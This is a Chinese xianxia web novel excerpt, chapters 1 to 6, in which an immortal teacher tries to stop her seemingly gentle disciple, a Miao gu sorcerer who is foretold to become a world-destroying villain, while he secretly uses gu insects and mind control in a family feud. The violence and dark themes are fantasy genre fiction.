《苗疆少年总想欺师灭祖!》 1. 第 1 章 《苗疆少年总想欺师灭祖!》全本免费阅读 虞丘渐晚成了灭世反派的师尊。 那灭世反派不仅会将整个六界颠覆,致使生灵涂炭死伤无数,更是对她这个师尊存有……不轨心思,将她囚于暗室,与她被翻红浪,日日笙歌。 意识到这个问题时,虞丘渐晚正坐于淬琼殿榻上,攥着锦被的手大力到指尖泛白。 雪团子被她吵醒,打了个哈欠,睡眼惺忪飘到她身前,含糊出声:“怎么了晚晚?” 雪团子乃雪精所化,当年在昆仑山巅受日月精华洗礼多年,却总是难以化灵,阴差阳错被虞丘渐晚点化,便一直留在了她身侧。 虞丘渐晚像是恍惚许久,嗓音干涩,问询。 “子昼他……现下在何处?” 子昼,便是那灭世反派,她唯一的弟子,黎为暮。 殿外传来“咔嚓”清脆的折竹声。 昆仑山巅终年落雪,今日又是一场大雪。 当年修得仙身之后,虞丘渐晚便自请镇守昆仑,迄今已有万年之久。 万年来,她在看守昆仑的封印之余,留心山下百姓疾患困苦,给以庇护,平素里与她朝夕相伴的,只有这漫天飞雪。 偌大的昆仑山,清冷而寂寥。 直至百年前,她收下了如今的弟子,黎为暮。 百年前,仙魔两族爆发大战。 此战旷日持久,虽仙界获胜,但因魔族联合巫咒、兽族、苗疆等异族兴事,邪术奸诡防不胜防,致使死伤无数。 战后,为惩治异族助纣为虐之罪,决定将其封印极地渊海,受冰削火灼之苦,万年不得脱出。 虞丘渐晚便是羁押整个苗疆前往极地渊海受刑之人。 苗疆地处南疆,本应四季如春。 然而苗疆联合魔族起事失败,天界为表惩处,特意派遣司雪仙女前往苗疆布雪。 大雪纷飞,下了整整一年,冰天彻地,透骨严寒。 往昔繁盛葱郁的古树灌丛干枯凋零,齐齐冻死,野兽无处觅食,活活饿死,虞丘渐晚到达苗疆时,入眼便是这幅饿殍遍野的死寂景象。 她虽亦觉苗疆配合魔族兴事应当严惩,却不认同天界将偌大的苗疆整个牵扯进来。 毕竟起事的只是苗疆祭司以及部分苗疆之人,寻常苗疆百姓安贫乐道,岁月静好,甚至连仙魔两族起战都不知晓,更枉谈插手生事。 奈何天帝旨意既下,她就算有心,亦是无力回天。 便是在那时,虞丘渐晚看到了黎为暮。 彼时的黎为暮不过是个六七岁的孩童,个子只及她腰高,明明衣不蔽体,在狂风暴雪之中自己冻得已是瑟瑟发抖,却是望着雪地中冻僵了的白狐,小心伸手,将白狐揽入怀中。 用自己的体温,救下白狐性命。 白狐通灵,转醒后,亲昵地凑过脑袋蹭了蹭他,又探出舌头,轻轻舔舐他的手心。 小小的孩童眼眸弯起,咯咯笑着,眸光晶亮,笑容纯粹。 那一幕景象,哪怕时隔百年之久,虞丘渐晚犹是觉得似在昨日。 她不住生了恻隐之心,于是隐瞒天界,私自将黎为暮留了下来,带回昆仑。 黎为暮无父无母,自幼无人照料,本就身子不太康健,更别提在风雪中伶仃孤立熬了整整一年。 将黎为暮带回昆仑后,他已病入膏肓,即使各类灵丹妙药整瓶喂下,也险些没有留住他的性命。 此后更是缠绵病榻十余年。 等到他身子彻底康健,虞丘渐晚开始试着教他些咒法仙术。 黎为暮亦是潜心修习,刻苦奋进,更是心怀仁义,行事坦荡,所思所行从来没有一丝一毫的偏差,更未有一时一刻令她忧心。 少年怀瑾握瑜,如珪如璋。 可就在方才,天道给了她一道警示。 警示里为她展现了如此一幕—— 天地混沌不明,入眼所见,只有漫天血色。 而黎为暮手持长剑,戾气滔天,迈出一步,便有一人脑袋滚落下来。 鲜红的血在他脚下蜿蜒如河。 而他寡情无欲,杀人如麻。 身上血腥气更是重到刺鼻。 她下意识掠到他的身前,想要将他拦住,尝试将他唤醒,告知他心性良善,不应入此魔障,滥杀无辜,视生灵如蝼蚁。 黎为暮凝望她良久,半晌笑了,嗓音温柔如昔。 “错了,师尊。弟子从来便是这般心狠手辣,那些温良也好,仁慈也罢,都是弟子在师尊面前伪装的假象。” “便如同弟子对师尊的心思,从来就不是敬重与景仰,而是……” 他抬手轻柔触上她的侧颊,凝睇她的眸光缠绵缱绻,落入她的眼中,却不啻于惊雷当空劈下。 “而是占有,与侵犯。” …… “黎为暮最近不是一直在山下历练吗?”雪团子咕哝一声,十分不满,“这才几日不见,晚晚怎么又想见他了。” 它真的十分不喜黎为暮。 每次与黎为暮相处,虽然黎为暮总是言笑晏晏,看起来十分好脾气的模样,但总会让它生出一种极其不适的感觉,那种感觉,就像被毒蛇盯上的兔子一样! 偏偏虞丘渐晚喜欢他喜欢得紧,更是器重万分,让它不得不和黎为暮朝夕相处。 雪团子道:“这段时日,黎为暮一直在巍亥城附近,他已去了数日,想来用不了多久便会折返昆仑,到时晚晚自可见到他。” 又望向她腕上的血玉手链,雪团子哼唧一声。 “黎为暮都用心头血做了玉坠送你,方便与他联系,晚晚若是实在心急,大可通过牵心坠招呼一声,就能将他唤回。” 虞丘渐晚垂眸望向腕上的鲜红坠子。 警示告知于他,要想拦截祸患,终止罪恶,避免黎为暮误入歧途,只有一策—— 与黎为暮断绝师徒关系,将他逐出昆仑。 “好。”良久,虞丘渐晚低声,“我这便将他召回。” …… 巍亥城外,残阳如血,漫天艳红。 映衬的地面都染了一层血一样的色泽。 不,不是像血,是真的血。 遍地都是血。 大片的血鲜红刺目,不仅散发出腥臭刺鼻的恶心气味,仔细去瞧,还能看见遍地的鲜血中,隐约有像蛆虫却又比蛆虫小的的蠕虫,在不断地翻滚爬行。 徐婉然小心避 2. 第 2 章 《苗疆少年总想欺师灭祖!》全本免费阅读 徐婉然的确能瞧出他的欢喜之意。 因为从血玉坠闪烁过后,这人面庞显而易见地生动了不少,长眉飞起,眼瞳明亮,唇角更是带着难以掩抑的笑意。 像是遇见心上人的情窦初开少年。 可再如何欢欣,也改变不了这人再次抬起了手,依旧想取走她性命的事实! 徐婉然也顾不得去想苗疆明明早在百年前便被镇压极地渊海,这个胜似苗疆之人的少年究竟从哪里来,她竭力压制住内心的恐惧与恶心,咬牙颤抖出声。 “求公子……暂且饶过小女子一命,待小女子杀了那对渣男贱女,为娘亲报仇,定会如公子所愿,将自己的身体,完整……献给公子。” 她本是巍亥徐家嫡女,虽然母亲行事颇为强横,但父亲一直由着母亲,好像母亲再如何过分也不会气恼。 她曾经也天真以为,她既为嫡女,定会所欲所求应有尽有,而她只需挑选一个德才兼备的合心意夫婿,一生便可安稳度过。 却未料到,一个月前,她以为老实敦厚的父亲,居然从外面带回一个女子。 和一个与她年纪差不多大的女儿。 说,那女子曾经阴差阳错与他春风一度,更是为他养育了一个女儿,为人父为人夫,他都不可能让她们流落在外,不理不睬。 父亲此言情真意切,她虽是不满,却也认了。 孰料那对母女入府之后,竟想取代她和母亲的位子,谄媚父亲,陷害母亲,害得母亲身死不说,父亲更是将这一切错误归结到她身上。 竟想将她嫁给一个死了三任妻子年过半百的鳏夫! 她怎么不恨,怎能不去报仇! “您既救下小女子一命,便送佛送到西。” 见少年当真停止操控蛊虫,耐心听她解释,徐婉然胆子愈发大了些,嫣然一笑,她本就容颜秀美,如今身着喜服,更显得姿容艳丽。 “小女子的那位异母妹妹亦是处子之身,养得远比小女子更好,待小女子大仇得报,定会带着妹妹一同……将身子献给公子。” 虽然知晓少年口中的“喜欢”毫无狎昵之意,可亲口应允将身体献给他,少女的面庞还是微微红润起来,禁不住有些羞赧。 黎为暮笑容淡淡。 他早便缺了培育蛊虫和合适血肉,今日阴差阳错看到这顶喜轿路过,察觉蛊虫骚动,这女子乃是阴历阴时生人,养蛊再适合不了的器皿,便将她截了下来。 他对那位“妹妹”并无兴趣,却颇为欣赏这女子道貌岸然心狠手辣的性情。 毕竟啊,究竟是那对母女为难她们,还是她们为难那对母女,只有她自己清楚。 他一番心念只在转瞬之间,含笑应声:“好。 徐婉然只见他眸光稍一流转便允了她,轻易得让人不可置信,她压下心底的狂喜刚欲矜持道谢。 那少年已然望向爬到了她心口的偌大肉虫,桃花眸多情,温柔开口:“你若肯将它吞下,我便放你离开。” 徐婉然愕然一瞬,不敢相信:“你……” 少年抬指抵在唇前,做了一个噤声的动作,笑得人畜无害:“你若一去不回,我岂非做了赔本买卖?这只蛊不仅成为仅有你我二人所知的信物,相信我,更可在你报仇时,为你助益不少。” 他笑容和善:“我最喜助人为乐。” 少年嗓音本就动听至极,如今放缓放柔了声音,落入旁人耳中,更像是与情人之间的呢喃絮语,缠绵悱恻。 徐婉然却再清楚不过,这人神祇般的面庞下,是何等残忍的恶魔心肠。 她忍住从心底泛出的胆寒与恶心,硬着头皮伸指颤抖捏住那肉嘟嘟的蛊虫,闭上了眼,递到唇边。 倏然张口,囫囵咽下。 几乎是在吞下的瞬间,徐婉然猛然扶上一侧的树干,大口大口干呕,奈何即使呛出了泪花,将隔夜饭吐出,也无法瞧见那恶心的虫子半分影子。 反而清晰察觉它在自己腹中蠕动。 少年仿佛被她狼狈的模样逗笑,眉眼弯起,本就精致的容颜越发生动。 他笑容纯澈:“真是好孩子。” …… 昆仑冰雪万年不化。 黎为暮洗去浑身血腥气,回到昆仑时,已经将近子时。 夜色深窅。 今夜的风雪虽不如白日时大,零零星星的仍旧扑了满身。 虞丘渐晚手提一盏琉璃明灯,踏着漫天风雪,缓步而来。 女子一身素色曳地长裙,不点半分颜色,凌立昆仑山巅,干净得好像一抔雪,又像是一朵绰约盛开的雪莲。 看一眼都成亵渎。 却又引人只想玷污。 没有想到虞丘渐晚竟在殿外等待他,黎为暮垂下眼帘,隐住眸底的暗色,再次抬目时已然换成一副天真无邪的笑容,欢喜而唤:“师尊……” 话语未落,便被虞丘渐晚冷声打断。 “跪下。” 黎为暮微抬眉稍,望向虞丘渐晚轻覆霜雪一般的清冷眉眼。 女子肤白胜雪,楚腰纤细,螓首蛾眉,纤长浓密的羽睫下覆着一双秋水剪瞳的眼眸,清澈灵动。 明明生在清冷的昆仑山上,却如春日里灼灼盛开的桃花,美得咄咄逼人。 若非她气质太过端方静雅,面上更是殊无半丝笑意,给人的感觉太为清寂,这般的姿容,还会以为是那家俏丽活泼的小姐,亦或是宫中骄纵矜贵的公主。 瞧着虞丘渐晚眼眸微微下压,眉眼凛然,不怒自威。 黎为暮沉默片刻,还是一声不吭地笔直跪下。 虞丘渐晚唇角轻抿。 少年桃花眼眸澄澈,虽然满是不解,却不搀丝毫阴霾。 虞丘渐晚亲手养育他长达百年,看着他成长到今日。 若非天道示警,她从来不会贬斥他至此。 虞丘渐晚将琉璃灯置于身侧,和衣半蹲在他面前。 灯火散开橙红光晕,映上那素来冰肌玉骨的娇丽女子,让她染上了几分属于人间的烟火气息。 她面色是如他一般的苍白,却是抬手拂去他肩上的碎雪,缓声而问。 3. 第 3 章 《苗疆少年总想欺师灭祖!》全本免费阅读 黎为暮跪在风雪之中。 从虞丘渐晚说出让他离开昆仑那番话语后,他便长久地跪在那里,好像只要虞丘渐晚不收回成命,他便永远不会起身。 淬琼殿之内,烛火微荧。 虞丘渐晚乃凡人之身成仙,即使成仙不知多少载,却总不习惯以夜明珠一类用作照明,反而总喜点燃一盏烛火,照彻黑暗。 自从回到淬琼殿中,她便静坐屋中,一动不动。 黎为暮在外跪拜多久,她便静坐不动了多久。 直到桌上烛火猛然闪烁,一个雪白的拳头大的团子猝然从窗外撞入,在空中咕噜噜滚了数个圈,直到撞上虞丘渐晚胸口,才猛然停了下来。 “晚晚!你竟真的要将黎为暮驱逐出昆仑吗!”还没站稳身子,雪团子就惊喜出声,“我都不敢相信!” 在雪团子记忆中,虞丘渐晚收他为徒百年,从来不曾重言呵斥过一句。 如今,虞丘渐晚不仅直言告知黎为暮师徒关系到此罢了,更是由他跪在风雪之中却是始终不肯将人唤起。 显然是铁了心想将黎为暮逐出昆仑。 雪团子简直高兴得都要手舞足蹈了。 瞧着虞丘渐晚失神不语的模样,显然仍是心有不忍,雪团子还是出言安抚。 “晚晚不必歉疚,我早便说过,黎为暮根本就不是什么好人……就像他此次去巍亥城,他果然不是为了救人,而是为了杀人……啊不对这么说不准确,是为了养蛊!” 雪团子将自己从徐婉然记忆中看到的信息,一切一五一十全数告知,顿了顿又补充:“不过那徐婉然也不是什么好人,她冠冕堂皇说什么是那继母继妹伤害了她,其实是她瞧人家不顺眼,总想取人家性命!” “不过就算这样,蛊术本就是阴邪之物,更别提他还想用生人血肉养蛊,果然是蛇蝎心肠人面兽心!” 虞丘渐晚垂下眼睫,轻声道:“……有所预料。” 她收下黎为暮为徒百年,对于他的性情秉性不可能一无所知,即使没有此事,也早已察觉出他骨子里的森寒与阴鸷。 雪团子弹起:“那晚晚还在歉疚什么?” 虞丘渐晚唇瓣轻抿。 她看出他骨子里的凉薄,却也并非察觉不出他血脉中的温和。 毕竟他喜欢侍弄花草,悉心耐心。 会为在殿外扫撒忙碌的仙侍递上一杯热茶。 亦会在她因他旧疾复发迟疑是否该开出一剂猛药而心事郁郁时,拖着病体于晨光熹微中堆好一个雪人,而后站在雪人旁笑得璀璨明媚,告知她—— “子昼永远相信师尊,师尊不要有任何负担,只管前行。” 他凉薄是真,狠辣是真,可心善是真,敬她重她亦是真。 “人心都是肉长的,便算是养了一年半载的猫狗溘然而逝,都会心有不舍,更妄谈我照料了他百年。” 虞丘渐晚轻抬长睫,眸光轻颤。 若非天道示警,她为师尊,本应在察觉他心性不端时给以导正,而非像如今这般,将她驱逐出昆仑,不管不顾。 不管怎么说,终究是她的罪过。 瞧着虞丘渐晚垂眼感伤,雪团子叹了口气,索性说起正事分散她的精力。 “……我在巍亥徐府中,察觉到了故人气息……就是那个被刚被带回徐府的小女儿。” …… 菱窗外渐渐染上熹光。 黎为暮是在卯时过半时,推开了淬琼殿的殿门。 他的掌心小心拢着一盅雪水,其上还漂浮着几朵碎莲,本欲放轻脚步慢慢放上外殿的白玉桌,未曾想抬眼便是虞丘渐晚坐在桌边的身影。 他一怔,似是没有想到她早已醒来,而后弯起眉眼,将小盅捧虞丘渐晚面前:“师尊请饮雪晨水。” 雪晨水,乃是第一缕阳光落上的冰雪而化的雪水,传说此水具有舒筋通络清净仙魂作用。虞丘渐晚总说言过其实,只是寻常雪水,但黎为暮总是宁可信其有。 虞丘渐晚凝望着他。 黎为暮在外面跪了足足半宿,风雪满身,即使来此之前特意换了衣袍,不见半分冰雪摧折的模样,但仍可瞧见他指尖、腕骨,因为半宿严寒,冻得发红发肿。 却仍是如同过去一般,第一时间为她采来“雪晨水”。 虞丘渐晚很是清楚,她该当断则断,令他退下。 然而不经意间瞥见他脆弱至极的眸光,尤其是他一身风雪未消的清寒模样,不由心下一阵抽痛,最终还是难以抑制地心软,抬手想要接过雪晨水。 却在触及碗沿之时,黎为暮的手猛然一颤,瓷碗脱落,只闻“砰”一声。 他终究在风雪中跪了足足半宿之久,本就身子不甚康健,又一大清早为她奔波采集雪水,早已成了强弩之末。 虞丘渐晚清楚看到他垂在身侧的双手克制不住地微微颤抖,却仍是扬起笑脸,对她安抚一笑。 “是子昼无能,连一只碗都端不稳,子昼这便为师尊重新采集。” 话罢,勉力起身。 在他虚浮着步履一步迈出淬琼殿时,虞丘渐晚终是忍耐不住,出声唤他:“……子昼。” 黎为暮脚步一顿。 他像是想要转过身来,却又良久未动。 半晌后,才低低出声:“师尊若是真的……下定决心,起码等弟子采来雪晨水,最后为师尊尽一次孝……可好?” 话到最后,嗓音的苦楚和恸意彻底遮掩不住。 虞丘渐晚险些不顾一切地冲上前去,将他拉住。 良久。 黎为暮听她开口,嗓音矜冷而淡。 却又带着不易察觉的颤。 “巍亥徐家因为流落在外的妻女归来,家宅不宁,四野乡邻也受其牵累,颇不太平。既你之前便插手了徐家之事,我便遣你前去探查具体情形,顺便仔细照料那在外女儿……子昼,你可愿为我代劳?” 巍亥徐家嫡女,便是被他救下后又喂了蛊虫的徐婉然。 而那在外女儿,便是徐家老爷徐晋年在外一度春风后留下的女儿。 黎为暮像是愣了许久,霍然转身。 她没有再次出言将他赶走,反而向他吩咐事宜,显然有所动摇,有了重新将他留下之意。 一番磋磨加身,黎为暮眼中不见半丝怨恨恼意,抬眼与她对视之时,少年琉璃眼眸清透依旧,更是翻覆着滔天的喜色。 “子昼愿意为师尊分忧!” …… 巍亥城的确因为一个徐家如同死城。 黎为暮赶到之时,偌大的巍亥城中门可罗雀,人人家门紧闭,如临大敌。 他倒没有直接进城探查情形,反而立于城门口前,抬手抚上自己泛红的腕骨。 虞丘渐晚此次将他逐出昆仑,实在匪夷所思。 毕竟过去时候,再大的祸端他都闯出来过,虞丘渐晚虽会斥责于他,却会在事后为他摆平一切,谆谆引导,告知他该如何正确行事。 从来没有像今日这般,三言两语便想将他逐出昆仑。 而且观她形貌,分明只要他稍稍表现不适,她便会自责至极,而且每逢说出将他逐出昆仑之语,都会侧开目光,不敢看他,分明不是真心想要将他赶走。 可又为何执意想要将他逐出昆仑? 心下思索之际,对面街巷中突然传来一声似人似兽的咆哮声,随即冲出一名年过半百的男子,双目猩红,利齿森森。 虽然不曾见过,但黎为暮还是瞬间猜出眼前之人身份——徐婉然生父,徐家老爷,徐晋年。 瞧见黎为暮时,徐晋年如一只脱缰的野马猛然扑上前来,朝着他的脖子就要咬下! 黎为暮目露蔑然,掌心轻抬。 他的身前倏然竖起一层透明屏障,猛然将徐晋年弹开。 徐晋年再次扑来,再次弹开。 如此反复数十次,徐晋年撞得满头满脸鲜血,狼狈得不成样子,又对着结界中的黎为暮“呜呜”发出嚎叫。 黎为暮眯起眼眸。 疯狗一般,可笑之至。 像是察觉自己终究无法突破屏障,徐晋年又是一阵呜咽,最后转开身子,转移目标,向身后跑去。 黎为暮缓步跟上。 赶到徐家之时,入眼便是徐晋年癫狂着死死掐住一个小女孩的模样。 那女孩看起来只有十五六岁,比徐婉然还 4. 第 4 章 《苗疆少年总想欺师灭祖!》全本免费阅读 虞丘渐晚赶到巍亥城中时,恰逢一旬一次的集市,人来人往,热闹非凡。 黎为暮孤身静立。 他的对面,徐婉然跪在人群之中,穿着一身素白的裙子,正在不断扇着自己耳光,更是痛哭流涕,一件一件忏悔自己的罪行。 诸如那流落在外的母女根本不曾陷害她们,她娘之死,是因为想要下药害死那对母女,未曾想自己阴差阳错服下了混着剧毒的汤粥,暴毙而亡。 再如她的确恨父亲徐晋年深恶痛绝,尤其在娘死后,不惜在他腰上荷包藏了慢性毒药,徐晋年发现之后,这才一气之下想要将她嫁给一个死了三个妻子的鳏夫。 故而她回到徐府之后,用邪术控制徐晋年神志,让他发狂咬人,逼得偌大的巍亥城鸡犬不宁人人自危,败坏徐晋年的名声。 徐晋年后来神志清醒,自知家风不严教子无方,自己更是发狂失智,伤了不知多少人,自觉无颜苟活于世,于是自尽而亡。 诸此种种。 边说着,边毫不留情扇自己耳光,又向众人叩首,泪流满面。 虞丘渐晚在旁沉默望着,耳边很快浮现出雪团子,与她絮叨。 “徐婉然体内没有蛊虫,正常得很!”雪团子喃喃,“我之前见她还凶神恶煞毫无悔过之心,今日怎就这般回头是岸了……黎为暮还真这么厉害?就跟佛陀似的劝人一劝一个准?真能引人忏悔普度众生?” 虞丘渐晚眉梢未动。 徐婉然突然向善,必然是黎为暮不知用了什么手段。 不过徐婉然如今既已忏悔,徐家之事业已平定,倒也无甚细究的必要。 瞧着百姓纷纷私语徐婉然的确恶贯满盈不得好死,更是将烂鸡蛋烂菜叶一股脑往她身上砸,虞丘渐晚缓步走上前,劝声:“既已认罪,便自去官府请罪。” 仿佛一语惊醒梦中人。 徐婉然恍然大悟,喃喃着“对对我还要去请罪”,匆忙起了身,也顾不得拂开身上的脏污,踉踉跄跄起身往官府而去。 “师尊!” 人群中的黎为暮“正巧”瞧见了她,眉飞色舞着欢喜迎上前,拱手作下一揖,“徐家之事已然处理妥当,子昼不敢辜负师尊所托!” 虞丘渐晚点点头,目光从他向来乖巧讨喜的面容上划过,倒也没有多做盘问,而是抬目望向对面的一个卖糖画的摊子。 一个十五六岁的小姑娘正站在糖画手艺人的面前,鹅蛋脸,正瞪着一双鹿眼瞧着手艺人栩栩如生画下的糖画。 这个小姑娘,便是徐晋年流落在外的小女儿,徐枝儿。 手艺人正在画着一条蟠龙。 黎为暮自是能瞧出虞丘渐晚对徐枝儿的重视,缓步上前,给手艺人递了块银子,接过糖画,递给小姑娘。 徐枝儿却是下意识地后退一步,眸光略带惊惧地望着黎为暮,许久都不敢伸手去接。 最后好像实在喜欢糖画喜欢得紧,猛然上前一把夺过糖画,匆忙说了一句“谢谢哥哥”,便转身仓皇而逃。 黎为暮面上笑意不减,却是心神微凉。 他分明洗去了徐枝儿脑中关于他在徐府的一切记忆,不论是他见死不救,还是折磨徐婉然,照理说徐枝儿都不会记得。 可徐枝儿如今的神情,怎么像是全然记着他。 否则为何畏惧他畏惧到了这个地步? 果然不如直接杀了稳妥。 心思流转,黎为暮面上却是丝毫不显,他看向凝视着徐枝儿远去背影的虞丘渐晚,抬眉询问:“师尊似乎识得她?” 虞丘渐晚倒是不曾隐瞒:“她是我一位故人……寻了将近千年的姑娘。” …… 黎为暮跟着徐枝儿站定在一处戏台前。 戏台上正在演绎千年前楼兰古国灭亡的一出戏。 戏子们扮演的是一位公主和一位侍女,二人正坐在马车上赶路。 讲的是西域干旱,好不容易下了一场大雨,又逢瘟疫,这位楼兰公主精通医术,于是游走各处为百姓医病。 可这公主又有心疾,侍女忧心不已,劝她返回王都,保重身体要紧。 瞧着“侍女”满面不郁,“公主”咿呀唱着要安抚,突然瞧到不远处的仙人掌下一名男子坐在那里,抬指诧异。 “那里怎地坐了个公子?” 黎为暮瞧见戏台上这般景象,目露蔑然。 那些或是英雄救美或是美救英雄的烂俗戏码,可谓百演不爽,这些庸人却仍是看得津津有味。 虞丘渐晚却是望着戏台子上的景象,久久失神。 连一个久居深宫柔弱至极的楼兰公主,都会在得知百姓罹难时,以身涉险,上前援救。 那她当真要为了一个所谓的天道示警,将如今还是手无鲜血、无辜至极的黎为暮,逐出昆仑,由他自生自灭? 这般作为,当真能避免黎为暮成为灭世反派吗? 那边的黎为暮已经走到徐枝儿的身侧,温声询问:“徐小姐可是喜欢这出戏?” 小姑娘下意识地向后退了一步,躲到了虞丘渐晚身后,这才慢慢点了点头:“嗯。” 瞧出徐枝儿对自己的畏惧,黎为暮倒也没有逼迫,十分得体的对虞丘渐晚温和一笑,自请离开:“子昼先去探探徐婉然是否往官府请罪。” 折身离去。 虞丘渐晚视线在他远去消失的背影上收回,蹲身在小姑娘面前,顺着黎为暮先前的话题询问:“为何喜欢这出戏剧?” 没有了黎 5. 第 5 章 《苗疆少年总想欺师灭祖!》全本免费阅读 早前为了方便解决山下百姓疾苦,虞丘渐晚过去便在巍亥中购置了一处小院。 如今出于诸般考量,她便没有返回昆仑山,而是留在了小院中。 小姑娘十分畏惧黎为暮,却是颇喜虞丘渐晚,尤其是在徐晋年死后,偌大的徐家无人看管,徐枝儿娘亲只好勉强接下家业,奔波在各类事宜之中,一时间也照看不了徐枝儿。 一来二去,小姑娘便总是往虞丘渐晚身边跑,亲亲密密唤她“姐姐”。 这两日更是时不时留宿下来。 今夜天气不甚明朗,虽然没有刮风下雨,天空却是乌云密布,不见一点星月,处处昏黑混沌。 徐枝儿是在睡到夜半子时时,倏然睁开了眼。 她双目昏黑,目光呆滞,不见一丝光亮,如同梦游一般,掀开身上被褥,从榻上坐起了身,赤着双足走到门前,推开房门,迈了出去。 她像是浑浑噩噩,又像是路线清晰,三拐两拐,直到走到了一处房门前,立定,推门迈入。 屋子正中的八仙桌旁,坐着发悬银饰的少年。 他开口:“可是识得我?” 小姑娘纵使神志被控,见到他后犹是有些瑟缩,轻声着答:“知道,黎哥哥。” “那你可能告知我,为何总是畏惧我?”黎为暮桃花眸温和,语带诱哄,“莫非是记得我曾去过徐府,又见你即使被徐晋年掐住,却仍是没有出手相救之故?” 那日去往徐府之时,他瞧出徐枝儿一时半刻无法咽气,倒也没有着急相救。 等到他控制徐婉然体内的蛊虫,让蛊虫不再为徐婉然所用时,加持在徐晋年身上的蛊毒随之缓解,徐晋年松开了手,徐枝儿自然跌下得救。 自也听见了他与徐婉然的交谈内容,更是亲眼瞧见他是如何用蛊虫控制徐婉然神志。 只是他特意抹去了徐枝儿这一部分记忆,照理说不该存有任何记忆。 徐枝儿果然摇了摇头:“不记得。” 又补充:“我只是感觉黎哥哥身上气息太过阴冷、森寒,虽不嗜杀,但视性命如草芥,十分危险,所以才……畏惧。” 黎为暮怔愣一瞬。 兀自长笑出声。 传说天地间生有一种人,至纯至善,通达天地,五感灵敏,世间奸宄邪肆在她们眼中无所遁形。 他招招手,将小姑娘引上前来。 “连师尊与我朝夕相处,雪团子日日瞧我如眼中钉肉中刺,却都无法看透我的真实性情。” 黎为暮抬起手,一只火红的小蛇自他袖中爬出,又顺着他递出的手臂攀上徐枝儿身体,脖颈,最后露出尖利的獠牙,抵上她颈上的纤弱血管。 他望着小姑娘因为恐惧而苍白的脸色,桃花眼弯起,柔声。 “我怕你坏我事宜,让我杀了你,可好?” 黎为暮是真的起了杀心。 他向来最厌变故,不想出现一切脱离他掌控的存在。 尤其在他沾手了徐家之事折回昆仑后,迎接他的,居然是虞丘渐晚想要将他逐出昆仑。 让他不住偏执地想,如若彻底覆灭了徐家,是不是就可以回到最初,是不是虞丘渐晚就会回心转意。 哪怕将他视作罪人,将他关押,给以刑罚和惩处,但只要能够陪在她的身侧—— 他心甘情愿。 然而在那火蛇咬下之时,徐枝儿的身上倏然崩开一道护体屏障,屏障之上,隐约浮现龙纹痕迹,那龙纹长啸一声,将她颈上的火蛇猛然弹开! 徐枝儿更是瞬间从梦游中醒来,颈上蛇身滑腻冰凉的感觉犹在,她按住喉骨有些茫然地望着周身环境,像是不知为何会出现在此处。 黎为暮眯起眼睛。 竟是有人在她魂魄中种下了魂契,以自身命火护佑她性命无虞。 而这魂契,居然还是一道龙魂。 徐枝儿后知后觉瞧见黎为暮坐在自己身前时,下意识地畏葸着后退一步,虽然不知为何在此,还是下意识地微微屈膝行了一礼,道了一声“叨扰黎哥哥”,便欲仓皇离开。 孰料抬眼之时,正正撞入黎为暮的眼眸。 他本该是琉璃一般的清透眼眸,如今黑沉而浓郁,深不见底,带着将人吸入无法脱出的魔力,瞬间夺舍去她整个心神。 她呆滞地望着他漆黑的眼眸。 若是此刻有人瞧见他这般样貌,一眼便可看出,黎为暮如今动用的,乃是咒族控人心神的摄魂之术。 “你今晚睡梦沉酣,从来不曾见过我。” 见她呆滞点头,黎为暮微笑。 “此次若可顺利引来那为你种下命契之人……”他低声诱哄,“为我取来龙髓。不论,用何种方式。” 真龙神髓,传说可破一切障碍。 便算是虞丘渐晚的护体屏障,在龙髓面前,亦是如同纸糊。 ……他自无意破她护体金光,只是若将龙髓掺入情蛊之中,便算是上古神祇,亦要受情蛊所侵。 话罢,黎为暮微笑。 “来,为我唤来妖兽。” …… 虞丘渐晚是陡然察觉小院中气息的改变。 而那气息的方向,就在徐枝儿屋中。 她挥袖便到了徐枝儿屋外,果然看到妖物。 那妖物如同烂泥一样瘫软着身子,软趴趴的立在院中,龇出个白森森的牙齿不说,一张和人差不多大的面孔上,居然生了足足十多颗眼睛! 眼睛多也就罢了,还密密麻麻挤在一起,咕噜噜的上下翻滚移动。 她肩上的雪团子利索就要干呕:“呕……怎么又是……呕,这东西……呕,长得太恶心了……” 这玩意儿唤作“彘食”,以灵力为生,生来无手无脚,却长了一堆眼睛。 用雪团子的话说,这东西大抵发现自己无手无脚难以像虎豹豺狼一般自去猎食,所以长了一堆眼睛以便不劳而获。 “彘食”若是单纯吸食些灵力也就罢了,偏偏这玩意儿同水蛭蚊子一个德行,吸食他人灵力不说还会留下病痛,兴致上来了更会直接将人吸成肉干,害人性命。 彘食成群结队出现,不论是屋外的屋脊、花坛,还是屋内的窗沿、妆镜,都或多或少趴着一两只“彘食”,尤其是榻上安然沉睡的徐枝儿,身侧乌泱泱 6. 第 6 章 《苗疆少年总想欺师灭祖!》全本免费阅读 既是将青龙引来,目的达到,自是没有容忍这些彘食久活的必要。 瞧着又是化身而出的彘食,黎为暮掌心一翻现出一只蛊虫,朝着最近的一只张口欲咬他的彘食便喂了过去。 “别……” 虞丘渐晚一眼扫到他这番动作,再要拦阻已是不及。 他喂下的是壮大彘食更让它残害同类的“失魂蛊”,喂给寻常彘食,确实能起到事半功倍的效果。 可在那只“彘食”在服下蛊虫后,光秃秃的脑袋之上,根本没有哪怕一颗眼睛! 哪里是什么彘食! 那边的雪团子惊叫出声:“有口无眼……彘食里为什么会混入一只混沌?!” 混沌乃上古妖兽,不仅有将他人灵力化作己用的能耐,遇到那些于自己不利术法蛊术,无一例外都会同化! 便见被喂下蛊虫的混沌身子猛地颤抖,身形胀大足足一圈后,张开利齿不仅不去袭击彘食,反而直直咬上身前的黎为暮! 黎为暮一瞬便欲侧身躲开。 却是一眼瞧见上前想要援护他的虞丘渐晚。 只要他侧开身子,被混沌囫囵咽下的,就会成为虞丘渐晚。 最后一瞬,他只来得及将虞丘渐晚紧紧护在怀中。 黑暗笼罩。 肩上的雪团子:“……日!” …… 虞丘渐晚只觉脑中混沌,头重脚轻,身子更是乏力的厉害,她本想迈前一步,却是身子一软,径直向后摔去。 一双手从背后扶住她。 虞丘渐晚扶住前额,缓了片刻,抬眼看向搀扶自己的人。 男子一袭青衫,面容谦逊,显然是煜琢。 虞丘渐晚出声道谢:“多谢煜……” 话语未落,就见“煜琢”眼中闪过显而易见地懊恼之意,更是带着几分属于少年人的轻狂与负拧之气。 虞丘渐晚恍然一瞬,迟疑着唤他:“……子昼?” “煜琢”垂下眼睫,乖巧应声:“师尊。” 当真是黎为暮! 变成了煜琢容貌的黎为暮! 虞丘渐晚心下恍然一瞬,探过脑袋往对面一盆清水照了一番,透过水面,不出意外看到自己变成了徐枝儿……不,应该说是楼兰公主汝溪的模样。 虞丘渐晚沉默。 